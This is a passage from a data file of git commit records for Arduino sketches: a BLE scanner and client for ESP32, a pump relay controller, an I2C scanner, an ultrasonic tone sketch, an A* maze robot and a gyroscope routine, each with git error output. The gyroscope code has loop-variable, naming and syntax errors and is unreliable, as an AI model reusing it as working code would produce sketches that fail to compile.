ESP_GATTC_NOTIFY_EVT:\n Serial.printf(\"NOTIFY: len %d, value %08x\\n\", p_data->notify.value_len, *(uint32_t *)p_data->notify.value);\n break;\n case ESP_GATTC_WRITE_DESCR_EVT:\n Serial.printf(\"WRITE: status %d\\n\", p_data->write.status);\n break;\n default:\n break;\n }\n}\n\nstatic void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)\n{\n uint8_t *adv_name = NULL;\n uint8_t adv_name_len = 0;\n switch (event) {\n case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: {\n \/\/the unit of the duration is second\n uint32_t duration = 10;\n esp_ble_gap_start_scanning(duration);\n break;\n }\n case ESP_GAP_BLE_SCAN_RESULT_EVT: {\n esp_ble_gap_cb_param_t *scan_result = (esp_ble_gap_cb_param_t *)param;\n \/\/ For quick reference, scan_result->scan_rst {\n \/\/ .esp_gap_search_evt_t search_evt; \/*!< Search event type *\/\n \/\/ .esp_bd_addr_t bda; \/*!< Bluetooth device address which has been searched *\/\n \/\/ .esp_bt_dev_type_t dev_type; \/*!< Device type *\/\n \/\/ .esp_ble_addr_type_t ble_addr_type; \/*!< Ble device address type *\/\n \/\/ .esp_ble_evt_type_t ble_evt_type; \/*!< Ble scan result event type *\/\n \/\/ .int rssi; \/*!< Searched device's RSSI *\/\n \/\/ .uint8_t ble_adv[ESP_BLE_ADV_DATA_LEN_MAX + ESP_BLE_SCAN_RSP_DATA_LEN_MAX]; \/*!< Received EIR *\/\n \/\/ .int flag; \/*!< Advertising data flag bit *\/\n \/\/ .int num_resps; \/*!< Scan result number *\/\n \/\/ .uint8_t adv_data_len; \/*!< Adv data length *\/\n \/\/ .uint8_t scan_rsp_len; \/*!< Scan response length *\/\n \/\/ }\n\n\n \n switch (scan_result->scan_rst.search_evt) {\n case ESP_GAP_SEARCH_INQ_RES_EVT:\nSerial.printf(\"\\n....search_evt=ESP_GAP_SEARCH_INQ_RES_EVT\");\nSerial.printf(\"\\n....bda=\");\n for (int i = 0; i < 6; i++) {\n Serial.printf(\"%x:\", scan_result->scan_rst.bda[i]);\n }\nSerial.printf(\"\\n\");\n\n\nSerial.printf(\"\\n....(esp_gap_search_evt_t)search_evt=%d\", scan_result->scan_rst.search_evt); \/*!< Search event type *\/\n\/\/Serial.printf(\"\\n....(esp_bd_addr_t)bda=\", scan_result->scan_rst.bda); \/*!< Bluetooth device address which has been searched *\/\nSerial.printf(\"\\n....(esp_bt_dev_type_t)dev_type=%x\", scan_result->scan_rst.dev_type); \/*!< Device type *\/\nSerial.printf(\"\\n....(esp_ble_addr_type_t)ble_addr_type=%x\", scan_result->scan_rst.ble_addr_type); \/*!< Ble device address type *\/\nSerial.printf(\"\\n....(esp_ble_evt_type_t)ble_evt_type=%x\", scan_result->scan_rst.ble_evt_type); \/*!< Ble scan result event type *\/\nSerial.printf(\"\\n....(int)rssi=%d\", scan_result->scan_rst.rssi); \/*!< Searched device's RSSI *\/\nSerial.printf(\"\\n....(uint8_t)ble_adv=\");\nfor (int i = 0; i < scan_result->scan_rst.adv_data_len; i++) {\n Serial.printf(\"%x:\", scan_result->scan_rst.ble_adv[i]); \n}\/*!< Received EIR *\/\nSerial.printf(\"\\n....(int)flag=%x\", scan_result->scan_rst.flag); \/*!< Advertising data flag bit *\/\nSerial.printf(\"\\n....(int)num_resps=%d\", scan_result->scan_rst.num_resps); \/*!< Scan result number *\/\nSerial.printf(\"\\n....(uint8_t)adv_data_len=%d\", scan_result->scan_rst.adv_data_len); \/*!< Adv data length *\/\nSerial.printf(\"\\n....(uint8_t)scan_rsp_len=%d\", scan_result->scan_rst.scan_rsp_len); \/*!< Scan response length *\/\nSerial.printf(\"\\n\");\n \n\n adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv,\n ESP_BLE_AD_TYPE_NAME_CMPL, &adv_name_len);\n Serial.printf(\"Searched Device Name Len %d\\n\", adv_name_len);\n for (int j = 0; j < adv_name_len; j++) {\n Serial.printf(\"%c\", adv_name[j]);\n }\nSerial.println(\"|__!!\");\n \n if (adv_name != NULL) {\n if (strcmp((char *)adv_name, device_name) == 0) {\n Serial.printf(\"Searched device %s\\n\", device_name);\n if (connect == false) {\n connect = true;\n Serial.printf(\"Connect to the remote device.\\n\");\n esp_ble_gap_stop_scanning();\n esp_ble_gattc_open(gl_profile_tab[PROFILE_A_APP_ID].gattc_if, scan_result->scan_rst.bda, true);\n esp_ble_gattc_open(gl_profile_tab[PROFILE_B_APP_ID].gattc_if, scan_result->scan_rst.bda, true);\n }\n else {\n Serial.println(\"NOCONNECT\");\n }\n }\n }\nSerial.println(\"#####10\");\n break;\n case ESP_GAP_SEARCH_INQ_CMPL_EVT:\nSerial.println(\"#####11-ESP_GAP_SEARCH_INQ_CMPL_EVT\");\n break;\n default:\nSerial.println(\"#####12\");\n \n break;\n }\nSerial.println(\"#####13\");\n break;\n }\n default:\nSerial.println(\"#####14\");\n break;\n }\n}\n\nstatic void esp_gattc_cb(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param)\n{\n Serial.printf(\"EVT %d, gattc if %d\\n\", event, gattc_if);\n\n \/* If event is register event, store the gattc_if for each profile *\/\n if (event == ESP_GATTC_REG_EVT) {\n if (param->reg.status == ESP_GATT_OK) {\n gl_profile_tab[param->reg.app_id].gattc_if = gattc_if;\n } else {\n Serial.printf(\"Reg app failed, app_id %04x, status %d\\n\",\n param->reg.app_id, \n param->reg.status);\n return;\n }\n }\n\n \/* If the gattc_if equal to profile A, call profile A cb handler,\n * so here call each profile's callback *\/\n do {\n int idx;\n for (idx = 0; idx < PROFILE_NUM; idx++) {\n if (gattc_if == ESP_GATT_IF_NONE || \/* ESP_GATT_IF_NONE, not specify a certain gatt_if, need to call every profile cb function *\/\n gattc_if == gl_profile_tab[idx].gattc_if) {\n if (gl_profile_tab[idx].gattc_cb) {\n gl_profile_tab[idx].gattc_cb(event, gattc_if, param);\n }\n }\n }\n } while (0);\n}\n\nvoid ble_client_appRegister(void)\n{\n esp_err_t status;\n\n Serial.printf(\"register callback\\n\");\n\n \/\/register the scan callback function to the gap moudule\n if ((status = esp_ble_gap_register_callback(esp_gap_cb)) != ESP_OK) {\n Serial.printf(\"ERROR: gap register error, error code = %x\\n\", status);\n return;\n }\n\n \/\/register the callback function to the gattc module\n if ((status = esp_ble_gattc_register_callback(esp_gattc_cb)) != ESP_OK) {\n Serial.printf(\"ERROR: gattc register error, error code = %x\\n\", status);\n return;\n }\n esp_ble_gattc_app_register(PROFILE_A_APP_ID);\n esp_ble_gattc_app_register(PROFILE_B_APP_ID);\n}\n\nvoid gattc_client_test(void)\n{\n esp_bluedroid_init();\n esp_bluedroid_enable();\n ble_client_appRegister();\n}\n\nvoid setup() {\n Serial.begin(115200);\n if(btStart()){\n gattc_client_test();\n }\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\nvoid loop() {\n delay(500); digitalWrite(LED_BUILTIN, HIGH); \n delay(500); digitalWrite(LED_BUILTIN, LOW); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP32\/Examples-ArduinoIDE\/beacon-observer\/beacon-observer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"97720e865facc2aec05d2e638dee4d842009ef5a","subject":"Remove extra variable.","message":"Remove extra variable.\n","repos":"kdomen\/Morse-Code","old_file":"arduinoCode\/arduinoCode.ino","new_file":"arduinoCode\/arduinoCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7f4130946b5e745a349621e1f9d0e2109b496d25","subject":"Created Automatic Water Control System rev v1","message":"Created Automatic Water Control System rev v1\n\nCreated the file","repos":"rpihomeautomation\/rpihomeautomation,rpihomeautomation\/rpihomeautomation","old_file":"automatic_water_control_rev1\/automatic_water_control_rev1.ino","new_file":"automatic_water_control_rev1\/automatic_water_control_rev1.ino","new_contents":"\/*\nAutomatic Water Control System\n========= ===== ======= ======\nrev v.1\n#test proram for water pump system\n#turns on the pump when the input is high\n#connects the input from the sensor to pin\n#output from pin\n#the output is connected to the relay drivring circuit\n#the input value is send serially for monitoring\n*\/\n\n\/\/pc-pumpcontrol\n\n#define pcinput A0\n#define pcoutput 9\n\nint pcsensor,pcstate;\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(pcinput,INPUT);\n pinMode(pcoutput,OUTPUT);\n pcsensor = digitalRead(pcinput);\n pcstate = pcinput;\n}\n\nvoid loop()\n{\n pcsensor = digitalRead(pcinput);\n if(pcsensor!=pcstate)\n {\n if(pcsensor == 1)\n { digitalWrite(pcoutput,HIGH);\n Serial.println(\"Motor is ON\");\n pcstate = pcsensor;\n }\n else\n { digitalWrite(pcoutput,LOW);\n Serial.println(\"Motor is OFF\");\n pcstate = pcsensor;\n }\n }\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'automatic_water_control_rev1\/automatic_water_control_rev1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddb9cf88cabda1d386b51a0d2640dd31ef2e610d","subject":"but more one after another","message":"but more one after another\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ec9cd3d3bd5204224f699ad450da2bb93b02c2ed","subject":"commit","message":"commit\n\nbla bla\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/ProgramExecutor.ino","new_file":"LaundryMachine\/ProgramExecutor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2db936e6211716ea64ea095ba02e72f1edf6a20b","subject":"Finally actually adding Gyroscope.ino","message":"Finally actually adding Gyroscope.ino\n","repos":"STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17","old_file":"Testing_Arduino101_2\/Gyroscope.ino","new_file":"Testing_Arduino101_2\/Gyroscope.ino","new_contents":"void gyro_cali(){\n\tint32_t dc_offset_sum = 0;\n\t\n\tfor(int i = 0; n < sample_num; n++){\n\t\twhile(!gyro_data_ready());\n\t\tgyro.read();\n\t\tdc_offset_sum += gyro_robot_z;\n\t}\n\tdc_offset = dc_offset_sum \/ sample_num;\n\tSerial.print(dc_offset);\n\tSerial.print('&');\n}\n\nbool gyro_data_read(){\n\treturn (gyro.readReg(L3g::STATUS) & ZYXDA) == ZYXDA;\n}\n\nvoid gyro_update_angle(){\n\tgyro.read()\n\trate = (float)(gyro_robot_z - dc_offset) * ADJUSTED_SENSATIVITY;\n\tangle += ((prev_rate + rate) \/ SAMPLE_RATE) \/ 2);\n\tprev_rate = rate;\n}\n\nvoid gyro_report_angle(){\n\tSerial.print(angle);\n\tSerial.print('&');\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing_Arduino101_2\/Gyroscope.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"13d4b9ec83a19a6e9bc25d5678650c1d2563cded","subject":"Create Detect_i2c_Address.ino","message":"Create Detect_i2c_Address.ino","repos":"Seeed-Studio\/Xadow_Edison_Demos,Seeed-Studio\/Xadow_Edison_Demos,kingsongchen\/Xadow_Edison_Demos,kingsongchen\/Xadow_Edison_Demos","old_file":"Detect_i2c_Address\/Detect_i2c_Address.ino","new_file":"Detect_i2c_Address\/Detect_i2c_Address.ino","new_contents":"\/\/ --------------------------------------\n\/\/ i2c_scanner\n\/\/\n\/\/ Version 1\n\/\/ This program (or code that looks like it)\n\/\/ can be found in many places.\n\/\/ For example on the Arduino.cc forum.\n\/\/ The original author is not know.\n\/\/ Version 2, Juni 2012, Using Arduino 1.0.1\n\/\/ Adapted to be as simple as possible by Arduino.cc user Krodal\n\/\/ Version 3, Feb 26 2013\n\/\/ V3 by louarnold\n\/\/ Version 4, March 3, 2013, Using Arduino 1.0.3\n\/\/ by Arduino.cc user Krodal.\n\/\/ Changes by louarnold removed.\n\/\/ Scanning addresses changed from 0...127 to 1...119,\n\/\/ according to the i2c scanner by Nick Gammon\n\/\/ http:\/\/www.gammon.com.au\/forum\/?id=10896\n\/\/ Version 5, March 28, 2013\n\/\/ As version 4, but address scans now to 127.\n\/\/ A sensor seems to use address 120.\n\/\/ \n\/\/\n\/\/ This sketch tests the standard 7-bit addresses\n\/\/ Devices with higher bit address might not be seen properly.\n\/\/\n\n#include <Wire.h>\n\n\nvoid setup()\n{\n Wire.begin();\n\n Serial.begin(9600);\n Serial.println(\"\\nI2C Scanner\");\n \n pinMode(2, OUTPUT);\n digitalWrite(2, 1);\n}\n\n\nvoid loop()\n{\n byte error, address;\n int nDevices;\n\n Serial.println(\"Scanning...\");\n\n nDevices = 0;\n for(address = 1; address < 127; address++ ) \n {\n \/\/ The i2c_scanner uses the return value of\n \/\/ the Write.endTransmisstion to see if\n \/\/ a device did acknowledge to the address.\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n\n if (error == 0)\n {\n Serial.print(\"I2C device found at address 0x\");\n if (address<16) \n Serial.print(\"0\");\n Serial.print(address,HEX);\n Serial.println(\" !\");\n\n nDevices++;\n }\n else if (error==4) \n {\n Serial.print(\"Unknow error at address 0x\");\n if (address<16) \n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n }\n if (nDevices == 0)\n Serial.println(\"No I2C devices found\\n\");\n else\n Serial.println(\"done\\n\");\n\n delay(3000); \/\/ wait 5 seconds for next scan\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Detect_i2c_Address\/Detect_i2c_Address.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd99172c104dfd2654efa9040311064b9364683d","subject":"Modifies Vernier Frequency to vary frequency with distance measured by MD-BTA.","message":"Modifies Vernier Frequency to vary frequency with distance measured by MD-BTA.\n","repos":"jeremykenedy\/arduino","old_file":"VernierFreq_Motion\/VernierFreq_Motion.ino","new_file":"VernierFreq_Motion\/VernierFreq_Motion.ino","new_contents":"\/*\nVernierFreq_Motion (v 2015.1)\n\nThis sketch produces a tone on a speaker connected to pin D9 of\nthe Arduino. The frequency of the tone will vary depending on how\nfar from the motion detector (connected to Digital 1 of the Vernier \nShield) an object is place. It was designed to be used as an \naudible aid for an Engineering Design Challenge at the Museum of \nScience (Boston). It is based on the Tone 2 tutorial.\n(see http:\/\/arduino.cc\/en\/Tutorial\/Tone2).\n\nIf you want to change the range of frequencies, change the last two\nnumbers in the line: \nint thisPitch = map(sensorReading, 200, 15, 120, 1500)\nThey are the minimum and maximum frequencies produced.\nIf you want to change the sensitiviy of the system, change the first\ntwo numbers of the same line. They are the range of expected readings \nfrom the sensor.\n\nSee www.vernier.com\/arduino for details.\n*\/\nint OutputPin=9;\nlong time;\/\/ clock reading in microseconds\nlong Duration; \/\/ time it take echo to return\nconst int SpeedOfSound = 344; \/\/in m\/s\ndouble Distance;\/\/ in centimeters\nint val = 0;\nconst int TriggerPin = 3; \/\/trigger pin\nconst int EchoPin = 2;\/\/ echo pin\nint Range=200; \/\/distance in cm from Laser Pointer\/Servo motor to Motion Detector\nvoid setup() \n{\n \/\/ initialize the Ping pin as an output:\n pinMode(TriggerPin, OUTPUT);\n pinMode(EchoPin, INPUT); \/\/this is the pin that goes high when an echo is received\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n Serial.println(\" \");\n Serial.print(\"Distance\");\n Serial.print(\"Frequency\");\n Serial.println(\" \");\n}\n\nvoid loop() {\n digitalWrite(TriggerPin, LOW);\n delayMicroseconds(4000);\n digitalWrite(TriggerPin, HIGH); \/\/ start the ultrasound pulse\n time = micros(); \/\/note time\n delayMicroseconds(900); \/\/delay during the blanking time\n do\n {\n val =digitalRead(EchoPin);\n \/\/ if no echo, repeat loop and wait:\n }\n while (val == LOW) ;\n Duration =micros() - time;\n \/* The speed of sound is 344 m\/s.\n The ultrasound travels out and back, so to find the distance of the\n object we take half of the distance traveled.*\/\n Distance= Duration *SpeedOfSound\/2\/10000 ;\/\/ note convert to cm\n Serial.println(Distance);\n \n delay(50); \/\/delay a bit\n \/\/ read the sensor:\n float sensorReading = Distance;\n \/\/ print the sensor reading so you know its range\n\n \/* map the distance input range (in this case, 200-15 (cm) from the motion detector)\n to the output pitch range (120 - 1500Hz). I wanted the pitch to increase with height\n and the Motion Detector sits atop the air tube, so the \"measured distance\" is relative \n to the top of the tube *\/\n int thisPitch = map(sensorReading, 200, 15, 120, 1500);\n Serial.print(sensorReading);\n Serial.print (\"\/t\");\n Serial.print(thisPitch);\n \/\/ play the pitch:\n tone(OutputPin, thisPitch, 50);\n delay(50); \/\/ delay in between reads for stability\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VernierFreq_Motion\/VernierFreq_Motion.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ec29a9858317de5bd2345a3f8d66cdc64cc8e37","subject":"Create teste.ino","message":"Create teste.ino","repos":"jefersonla\/robozino,jefersonla\/robozino","old_file":"utils\/ASInterface\/teste.ino","new_file":"utils\/ASInterface\/teste.ino","new_contents":"\n\/**********************************************\n * Writed by @AndressAndrade *\n * *\n * A-Star Robot for Arduino 2017 *\n * This code uses A* to make a robot able *\n * to get out of a labyrinth *\n *********************************************\/\n\/*Libraries*\/\n\/\/#include <Ultrasonic.h>\n\n\/* Define Matrix Grid *\/\n\n#define n 3\n#define a (n * 15)\n#define m (n + 2)\n\nint grid[m][m];\nint heuristic[n][n];\n\n\/*Inserir uma interface gr\u00e1fica para visualiza\u00e7\u00e3o do A-Star *\/\nint processing[n][n];\nint numerador = 0;\nint iD;\n\n\/* MAKE IT STOP *\/\nint fim = 0; \nint counter = 0; \n\n\/* Define Goal *\/\nint GoalRow = 1;\nint GoalCol = 3;\n\n\/* Define Actual Point *\/\nint ActualRow;\nint ActualCol;\n\n\/* Define Next Point *\/\nint NextRow;\nint NextCol;\n\n\n\/* Define StartPoint *\/\nint StartRow = 3;\nint StartCol = 1;\n\n\/* Function g(n) - Cost *\/\nint ort = 10; \/\/ Define ortogonal's(up, down, left, right) cost as 10\nint obstacle = 1000; \/\/Define obstacle\n\n\/* Variables *\/\nint i;\nint j;\nint z;\/\/Indice utilizado nos vetores path\nint p;\nint pathRow[a];\nint pathCol[a];\nint finalRow[m];\nint finalCol[m];\n\nvoid intervencao(){\n for(i = 0; i < m; i++){\n for(j = 0; j < m; j++){\n \/\/serial.println(grid[i][j]);\n fim = 1;\n }\n }\n}\n\nvoid setup() {\n Serial.begin(9600);\n \/\/serial.println(\"Estou no Setup!\");\n heuristicFunction();\n ActualRow = StartRow;\n ActualCol = StartCol;\n \n \/\/O caminho obviamente inicia pelo ponto inicial\n pathRow[0] = StartRow;\n pathCol[0] = StartCol;\n z = 1;\n \/\/ Setando todo o grid para 1000, isso ir\u00e1 auxiliar no momento da execu\u00e7\u00e3o do A*\n for(i = 0; i < m; i++){\n for(j = 0; j < m; j++){\n grid[i][j] = 1000;\n }\n }\n grid[1][2] = 16;\n \n for(i = 0; i < n; i++){\n for(j = 0; j < n; j++){\n processing[i][j] = numerador;\n numerador ++;\n } \n }\n\n iD = processing[StartRow - 1][StartCol - 1];\n Serial.write(iD);\n \n \/\/calibratemotors()\n}\n\nvoid loop() {\n \/\/serial.println(\"Inicio do loop!\");\n delay(1000);\n if(!fim){\n a_star();\n delay(1000);\n findPath();\n delay(1000);\n goAhead();\n delay(1000);\n printgrid();\n printheuristic();\n delay(1000);\n if(isFim()){\n defineWay();\n delay(10000);\n }\n delay(2000);\n \/\/intervencao();\n }\n \n else{\n \/\/Don't do nothing...\n }\n \/\/serial.println(\"Fim do loop!\");\n}\nvoid printpath(){\n \/\/serial.println(\"Este eh ao caminho percorrido ate aqui:\");\n for(i = 0; i < z; i++){\n \/\/serial.print(pathRow[i]);\n \/\/serial.print(\" \");\n \/\/serial.println(pathCol[i]);\n }\n}\n\nvoid printheuristic(){\n \/\/serial.println(\"Este eh a heuristica do labirinto, resolvido por Manhanttan:\");\n for(i = 0; i < n; i++){\n for(j = 0; j < n; j++){\n \/\/serial.print(heuristic[i][j]);\n \/\/serial.print(\" \");\n }\n \/\/serial.print(\"\\n\");\n } \n}\n\nvoid printgrid(){\n \/\/serial.println(\"Este eh o grid do labirinto, resolvido por A*:\");\n for(i = 0; i < m; i++){\n for(j = 0; j < m; j++){\n \/\/serial.print(grid[i][j]);\n \/\/serial.print(\" \");\n }\n \/\/serial.print(\"\\n\");\n } \n}\n\nboolean isFim(){\n \/\/serial.println(\"Verificando se eh o fim...\");\n \/\/This funcion will see if we reach the goal\n \/\/if ActualPoint is equal GoalPoint\n if(ActualRow == GoalRow && ActualCol == GoalCol){\n fim = 1;\n return true; \n }\n else{\n return false;\n }\n}\n\n\/* PD Functions - Make the Robot drive straight*\/\n\n\/* Obstacles Detector Functions *\/\n\nboolean isObstacle(int x, int y){\n \/\/serial.println(\"Verificando obstaculos...\");\n \/\/This funcion will see if there is a object on a point in the matrix that is a obstacles\n if (x == 0 or y == 0 or x == 4 or y == 4){\n return true;\n }\n else{\n return false;\n }\n}\n\n\/* Robot Moviments Functions *\/\n\n\/\/This follows moviments has as function, besides move the robot aroud the grid, make the robo orientation be always to the North, this can make it easier to move the robot \nvoid goForward(){\n \/\/serial.println(\"Movendo para frente...\");\n \/\/Move robot forward\n}\n\nvoid goBackward(){\n \/\/serial.println(\"Movendo para tras...\");\n \/\/Move robot backward\n}\n\nvoid turnLeft(){\n \/\/serial.println(\"Movendo para esquerda...\");\n \/\/Turn robot left *doesn't mean change matriz position, move robot 90\u00ba on his atual position\n \/\/goForward() *go to other position on the grid\n \/\/Turn robot right\n}\n\nvoid turnRight(){\n \/\/serial.println(\"Movendo para direita...\");\n \/\/Turn robot right \n \/\/goForward() \n \/\/Turn robot left\n}\n\n\/\/Just change the robot orientation\nvoid turnAround(){\n \/\/serial.println(\"Girando...\");\n \/\/Turn robot right\n}\n\n\n\/* A Star Functions *\/\n\nint aux1;\nint aux2;\n\n\/* Function h(n) - Define Heuristic using Manhattan Distance*\/\nvoid heuristicFunction(){\n \/\/serial.println(\"Calculando matriz heuristica...\");\n for(i = 0; i < n; i++){\n for(j = 0; j < n; j++){\n aux1 = abs(i - (GoalRow-1));\n aux2 = abs(j - (GoalCol-1));\n aux1 = aux1 + aux2;\n heuristic[i][j] = aux1;\n \n \/\/serial.print(\"heuristic[\");\n \/\/serial.print(i);\n \/\/serial.print(\"][\");\n \/\/serial.print(j);\n \/\/serial.print(\"] = \");\n \/\/serial.println(heuristic[i][j]);\n \n }\n } \n}\n\n\/* Function f(n) = g(n) + h(n) *\/\nvoid a_star(){\n \/\/serial.println(\"Aplicando A* em meus vizinhos...\");\n \/*\n int StartRow = 3;\n int StartCol = 1;\n I need o check all around, but skip previous calculate...\n *\/\n \/\/Seta o grid como 2000 para evitar loop infinito\n grid[ActualRow][ActualCol] = 2000;\n \n \/\/Fist test forward (forward is -1 of the ActualPosition Row)\n setGrid(ActualRow-1,ActualCol);\n \/\/Then test right (right is +1 of the ActualPosition Col)\n turnAround();\n setGrid(ActualRow,ActualCol+1);\n \/\/Then test backward (backward is +1 of the ActualPosition Row)\n turnAround();\n setGrid(ActualRow+1,ActualCol);\n \/\/Then test left (left is -1 of the ActualPosition Col),\n turnAround();\n setGrid(ActualRow,ActualCol-1);\n \/\/Finally turn back to Origin orientation\n turnAround();\n}\n\nvoid findPath(){\n \/\/serial.println(\"Definindo rota...\");\n p = z - 1;\n int padrao = 1000;\n for(i = 1; i < m; i++){\n for(j = 1; j < m; j++){\n if(grid[i][j] < padrao){\n NextRow = i;\n NextCol = j;\n \/\/serial.print(NextRow);\n \/\/serial.println(NextCol);\n padrao = grid[i][j];\n }\n }\n }\n}\n\nvoid setGrid(int x, int y){\n \/\/serial.println(\"Calculando heuristica mais custo...\");\n int q = x;\n int r = y;\n if (isObstacle(q, r)){\n if (q >= 0 && r >= 0){\n grid[x][y] = obstacle;\n return;\n }\n } \n if (grid[x][y] == 2000){ \/\/(grid[x][y] == 2000)\n return;\n }\n if (grid[x][y] == 16){ \/\/(grid[x][y] == 2000)\n return;\n }\n else{\n grid[x][y] = 0;\n grid[x][y] = 10 + heuristic[x-1][y-1];\n \/\/ NAO\n \/\/int w = z;\n \/\/while(pathRow[w] != StartRow && pathCol[w] != StartCol){\n \/\/ grid[x][y] += heuristic[pathRow[w-1]][pathCol[w-1]];\n \/\/ w -= 1;\n \/\/ }\n \/\/ NAO\n \/\/serial.print(\"Este eh meu indice Z: \");\n \/\/serial.println(z);\n p = z-1;\n int lock2 = 1;\n printpath();\n while(lock2){\n if(pathRow[p] == StartRow && pathCol[p] == StartCol){\n lock2 = 0; \n }\n else{ \n \/\/serial.print(pathRow[p]);\n \/\/serial.print(\" \");\n \/\/serial.println(pathCol[p]);\n grid[x][y] += heuristic[pathRow[p]-1][pathCol[p]-1];\n p-=1;\n } \n }\n }\n}\n\nvoid goAhead(){\n \/\/serial.println(\"Indo para proxima posicao...\");\n \/\/serial.print(\"Linha: \");\n \/\/serial.print(NextRow);\n \/\/serial.print(\" Coluna: \");\n \/\/serial.println(NextCol);\n \/\/\u00c9 necessario se posicionar neste novo grid\n \/\/Verifico se pr\u00f3xima posi\u00e7\u00e3o \u00e9 um vizinho\n if(ActualRow == NextRow){ \/\/Se for, eles est\u00e3o na mesma linha, devo left ou right\n while(ActualCol != NextCol){ \n if(ActualCol < NextCol){\n turnRight();\n ActualRow = NextRow;\n ActualCol +=1;\n }\n else{\n turnLeft(); \n ActualRow = NextRow;\n ActualCol -= 1;\n }\n iD = processing[ActualRow - 1][ActualCol - 1];\n Serial.write(iD);\n \/\/serial.write(\"\\n\");\n pathRow[z] = ActualRow;\n pathCol[z] = ActualCol;\n z += 1;\n } \n return;\n }\n if(ActualCol == NextCol){ \/\/Se for, eles est\u00e3o na mesma coluna, devo forward ou backward\n while(ActualRow != NextRow){ \n if(ActualRow < NextRow){\/\/ turn right\n goBackward();\n ActualRow += 1;\n ActualCol = NextCol;\n }\n else{\n goForward();\n ActualRow -= 1;\n ActualCol = NextCol;\n }\n iD = processing[ActualRow - 1][ActualCol - 1];\n Serial.write(iD);\n \/\/serial.write(\"\\n\");\n pathRow[z] = ActualRow;\n pathCol[z] = ActualCol;\n z += 1;\n } \n return;\n }\n \/\/Caso n\u00e3o seja vizinho, devo regredir no grid, retrocendendo na lista percorrida at\u00e9 alcan\u00e7ar um vizinho,\n \/\/serial.println(\"Nao e vizinho.............................\");\n p -= 1;\n if(ActualRow == pathRow[p]){ \/\/Se for, eles est\u00e3o na mesma linha, devo left ou right\n if(ActualCol < pathCol[p]){\n turnRight();\n }\n else{\n turnLeft(); \n }\n ActualRow = pathRow[p];\n ActualCol = pathCol[p];\n iD = processing[ActualRow - 1][ActualCol - 1];\n Serial.write(iD);\n \/\/serial.write(\"\\n\");\n pathRow[z] = ActualRow;\n pathCol[z] = ActualCol;\n z += 1;\n goAhead();\n }\n if(ActualCol == pathCol[p]){ \/\/Se for, eles est\u00e3o na mesma coluna, devo forward ou backward\n if(ActualRow < pathRow[p]){\/\/ turn right\n goBackward();\n }\n else{\n goForward();\n }\n ActualRow = pathRow[p];\n ActualCol = pathCol[p];\n iD = processing[ActualRow - 1][ActualCol - 1];\n Serial.write(iD);\n \/\/serial.write(\"\\n\");\n pathRow[z] = ActualRow;\n pathCol[z] = ActualCol;\n z += 1;\n goAhead();\n }\n goAhead(); \/\/?\n}\n\nvoid defineWay(){\n p = z;\n int lock = 1;\n while(lock){\n if(pathRow[p] == StartRow && pathCol[p] == StartCol){\n lock = 0; \n }\n else{ \n counter++;\n p--;\n } \n }\n for(i = 0; i < counter; i++){\n finalRow[i] = pathRow[p];\n finalCol[i] = pathCol[p]; \n p++;\n }\n numerador = n*n;\n Serial.write(numerador);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/ASInterface\/teste.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e3d3cdf5056a890ed1c0e0f0824bf696c19e7bb","subject":"update edison code","message":"update edison code\n","repos":"markwatneyy\/ttt_arduino","old_file":"ai_edison\/ai_edison.ino","new_file":"ai_edison\/ai_edison.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} 